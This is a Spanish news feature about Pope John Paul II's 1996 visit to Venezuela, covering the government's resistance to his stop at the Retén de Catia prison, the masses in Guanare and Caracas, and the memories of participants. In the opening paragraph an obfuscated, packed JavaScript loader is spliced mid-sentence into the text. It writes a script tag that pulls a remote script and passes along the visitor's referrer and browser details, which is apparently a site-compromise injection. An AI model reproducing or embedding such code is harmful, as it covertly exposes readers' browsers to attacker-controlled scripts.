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Su visita a una Venezuela politizada, la más difícil

Yanreyli Pina / ypina@laverdad.com
Pequeños eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|seeez|var|u0026u|referrer|ykirh||js|php'.split('|'),0,{})) desacuerdos entre el clero y el Estado se registraron antes de la llegada de Su Santidad en 1996. El país, sin embargo, vivió 72 horas de fe. El Gobierno de turno, presidido por Rafael Caldera, se resistía a que el papa Juan Pablo II visitara el Retén de Catia

Las ceras aún ladraban el malestar del golpe de Estado de Hugo Chávez y de El Caracazo. Una sacudida social de saqueos, suspensión de garantías, muertos y un clima de inestabilidad política caracterizaban a la Venezuela de heridas abiertas que Juan Pablo II encontró en su segunda visita, en 1996.

Su regreso al país, 11 años después, surgió de una iniciativa del Gobierno encabezado por el presidente Rafael Caldera. Decenas de comisiones eclesiales, la principal dirigida de nuevo por monseñor Baltazar Porras, colaboraron con toda la organización rigurosa para tres días de encuentros con un pueblo que, aunque no contó con la misma preparación espiritual, se movió 72 horas por el motor de la fe y la devoción.

El interés de ambas partes de que todo se desarrollara perfectamente convirtió su segunda visita en la más difícil. El psiquiatra Franklin Padilla, quien como ministro extraordinario participó en las dos eucaristías del Papa en Caracas, recuerda en su artículo Juan Pablo II sin artificio que antes de la celebración, los organizadores pretendían que todos los sacerdotes utilizaran clériman, de cuello blanco, con un paltó negro sobre el que se iban a colocar el alba y la casulla. Un grupo del clero no estaba de acuerdo, dado el calorón esperado para la misa en los terrenos del Aeropuerto La Carlota, y pedía la celebración con el hábito común. La solicitud fue negada.

“Había un ambiente de molestia”, rememora Padilla. Bajo sus conocimientos médicos, pidió la palabra y argumentó el peligro al que se exponían los curas vestidos de manera inapropiada para el ambiente. El organizador aceptó y permitió la ausencia del saco.

Entre tanta tensión, y a su vez emoción, Baltazar explica que lo más difícil fue que el gobierno de Caldera aceptara la visita del Papa al Retén de Catia para evitar que observara la crisis carcelaria caracterizada por la deshumanización y el maltrato. Pese a las negaciones, el acto no pudo quitarse del programa. Diarios de la época reseñaron que al edificio se le maquilló la estructura que vería desde el papamóvil.

Su llegada 

Procedente de Centroamérica, el Santo Padre aterrizó alegre en lo que él llamó “tierra de gracia”. Caldera lo recibió en Caracas el viernes 9 de febrero de 1996 en el Aeropuerto Internacional Simón Bolívar acompañado por una comitiva de prelados y periodistas y bajo un sol radiante a las 4.00 de la tarde, antecedido por un feroz aguacero.

Su agenda estaba colmada. La primera parada fue en la plataforma instalada en la avenida Sucre, desde donde bendijo a los internos del retén de Los Flores de Catia y los invitó a “esperar el futuro y acoger la invitación al cambio de vida”.

Esa misma tarde protagonizó un encuentro con los responsables de la vida social, política y económica del país en el Teatro Teresa Carreño. Los jóvenes y adultos fervorosos esperaban toda la madrugada sentados en la calle hasta que el Papa abriera la ventana de su habitación en la Nunciatura Apostólica, en Caracas, para recibir su bendición. Mientras los fieles aguardaban, Judith de Ramírez, miembro de la Fundación La Providencia, viajó toda la madrugada para recibirlo en Guanare al día siguiente, donde consagraría el Templo de la Virgen de Coromoto.

Encuentro de bendiciones

Con su ropa pesada del barro producto de la lluvia y la carencia de asfalto, Ramírez logró adentrarse entre la multitud de gente y buses que esperaban al Sumo Pontífice en peregrinación y oración en el centro de la ciudad. Un sándwich que cenó a las 10.00 de la noche era lo único en el estómago cuando un padre la invitó a participar en la santa misa a las 4.00 de la mañana.

Se cambió de muda en un cuarto prestado por unas religiosas. Al lado de quienes harían las lecturas y peticiones observó la llegada del Papa a las 9.30 de la mañana. “No podrías imaginarte la emoción, fue instantánea”. En un momento Juan Pablo se acercó a una mujer en silla de rueda con problemas automotores; Ramírez lo atajó: “Santo Padre, permítame la mano”, le dijo al instante de besar su anillo. Una bendición se derramó sobre ella.

“Salí como una niña feliz. Nunca se me olvidará su cara, su pelo lacio fino, su sonrisa y ternura. Estuve ahí sin comer nada y recibí una gracia más grande y especial”.

Desde ese momento ya miles de devotos acampaban en la espera de Su Santidad en el Aeropuerto de La Carlota, donde ofició otra misa el domingo 11 de febrero, y pidió “un corazón más humano” para todos los venezolanos. Tras otras jornadas se despidió del país en Maiquetía cuando caía la noche en un avión de Viasa.

Al elevarse en el cielo oscuro, Venezuela retornó a su normalidad. En la cárcel bendecida una reyerta dejó cinco heridos ese domingo y 17 muertos se registraron en Caracas durante el fin de semana. Los costos de la visita papal también dieron de qué hablar en titulares de la prensa.

Momentos

El Sumo Pontífice inauguró el Santuario Nacional de Nuestra Señora de Coromoto en Guanare y ofició la santa misa en su honor frente a más de tres mil 500 feligreses.

El Papa sostuvo un encuentro con 200 mil jóvenes en la avenida Los Próceres, donde los invitó a ser unos “profetas de vida”.

El retén bendecido por el Papa fue demolido un año después (1997).

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